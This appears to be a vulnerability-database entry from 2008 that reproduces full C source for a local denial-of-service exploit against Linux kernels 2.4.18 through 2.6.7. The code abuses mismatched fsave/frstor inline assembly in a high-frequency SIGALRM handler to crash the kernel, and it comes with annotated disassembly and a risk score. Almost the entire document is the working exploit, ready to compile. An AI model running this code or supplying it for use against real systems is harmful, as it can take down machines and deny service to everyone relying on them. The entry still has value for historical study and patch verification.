Linux Kernel 2.4.x-2.6.x Assembler Inline Function Local DoS Exploit

🗓️ 07 Jul 2008 00:00:00Reported by RootType

Linux Kernel Assembler Inline Function Local DoS Exploit Crashes any kernel from 2.4.18 to 2.6.7 because frstor in assembler inline offsets in memory by 4


                                                /*&nbsp;-----------------------------------------------------------------------------
&nbsp;*&nbsp;frstor&nbsp;Local&nbsp;Kernel&nbsp;exploit
&nbsp;*&nbsp;Crashes&nbsp;any&nbsp;kernel&nbsp;from&nbsp;2.4.18
&nbsp;*&nbsp;to&nbsp;2.6.7&nbsp;because&nbsp;frstor&nbsp;in&nbsp;assembler&nbsp;inline&nbsp;offsets&nbsp;in&nbsp;memory&nbsp;by&nbsp;4.
&nbsp;*&nbsp;Original&nbsp;proof&nbsp;of&nbsp;concept&nbsp;code
&nbsp;*&nbsp;by&nbsp;stian_@_nixia.no.
&nbsp;*&nbsp;Added&nbsp;some&nbsp;stuff&nbsp;by&nbsp;lorenzo_@_gnu.org
&nbsp;*&nbsp;and&nbsp;fixed&nbsp;the&nbsp;fsave&nbsp;line&nbsp;with&nbsp;(*fpubuf).
&nbsp;*&nbsp;-----------------------------------------------------------------------------
&nbsp;*/

/*
-----------------------------------------
Some&nbsp;debugging&nbsp;information&nbsp;made
available&nbsp;by&nbsp;stian_@_nixia.no
-----------------------------------------
TakeDown:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pushl&nbsp;&nbsp;&nbsp;%ebp
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;movl&nbsp;&nbsp;&nbsp;&nbsp;%esp,&nbsp;%ebp
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;subl&nbsp;&nbsp;&nbsp;&nbsp;$136,&nbsp;%esp
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;leal&nbsp;&nbsp;&nbsp;&nbsp;-120(%ebp),&nbsp;%eax
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;movl&nbsp;&nbsp;&nbsp;&nbsp;%eax,&nbsp;-124(%ebp)
#APP
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fsave&nbsp;-124(%ebp)

#NO_APP
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;subl&nbsp;&nbsp;&nbsp;&nbsp;$4,&nbsp;%esp
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pushl&nbsp;&nbsp;&nbsp;$1
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pushl&nbsp;&nbsp;&nbsp;$.LC0
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pushl&nbsp;&nbsp;&nbsp;$2
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;&nbsp;&nbsp;&nbsp;write
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;addl&nbsp;&nbsp;&nbsp;&nbsp;$16,&nbsp;%esp
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;leal&nbsp;&nbsp;&nbsp;&nbsp;-120(%ebp),&nbsp;%eax
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;movl&nbsp;&nbsp;&nbsp;&nbsp;%eax,&nbsp;-128(%ebp)
#APP
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frstor&nbsp;-128(%ebp)

#NO_APP
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;leave
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ret
*/

#include&nbsp;&lt;sys/time.h&gt;
#include&nbsp;&lt;signal.h&gt;
#include&nbsp;&lt;unistd.h&gt;

static&nbsp;void&nbsp;TakeDown(int&nbsp;ignore)
{
&nbsp;char&nbsp;fpubuf[108];
//&nbsp;__asm__&nbsp;__volatile__&nbsp;(&quot;fsave&nbsp;%0\n&quot;&nbsp;:&nbsp;:&nbsp;&quot;m&quot;(fpubuf));
__asm__&nbsp;__volatile__&nbsp;(&quot;fsave&nbsp;%0\n&quot;&nbsp;:&nbsp;:&nbsp;&quot;m&quot;(*fpubuf));&nbsp;
&nbsp;write(2,&nbsp;&quot;*&quot;,&nbsp;1);
&nbsp;__asm__&nbsp;__volatile__&nbsp;(&quot;frstor&nbsp;%0\n&quot;&nbsp;:&nbsp;:&nbsp;&quot;m&quot;(fpubuf));
}

int&nbsp;main(int&nbsp;argc,&nbsp;char&nbsp;*argv[])
{
&nbsp;struct&nbsp;itimerval&nbsp;spec;
&nbsp;signal(SIGALRM,&nbsp;TakeDown);
&nbsp;spec.it_interval.tv_sec=0;
&nbsp;spec.it_interval.tv_usec=100;
&nbsp;spec.it_value.tv_sec=0;
&nbsp;spec.it_value.tv_usec=100;
&nbsp;setitimer(ITIMER_REAL,&nbsp;&amp;spec,&nbsp;NULL);
&nbsp;while(1)
&nbsp;&nbsp;write(1,&nbsp;&quot;.&quot;,&nbsp;1);

&nbsp;return&nbsp;0;
}
//&nbsp;&lt;&lt;EOF

07 Jul 2008 00:00Current

7.1High risk

Vulners AI Score7.1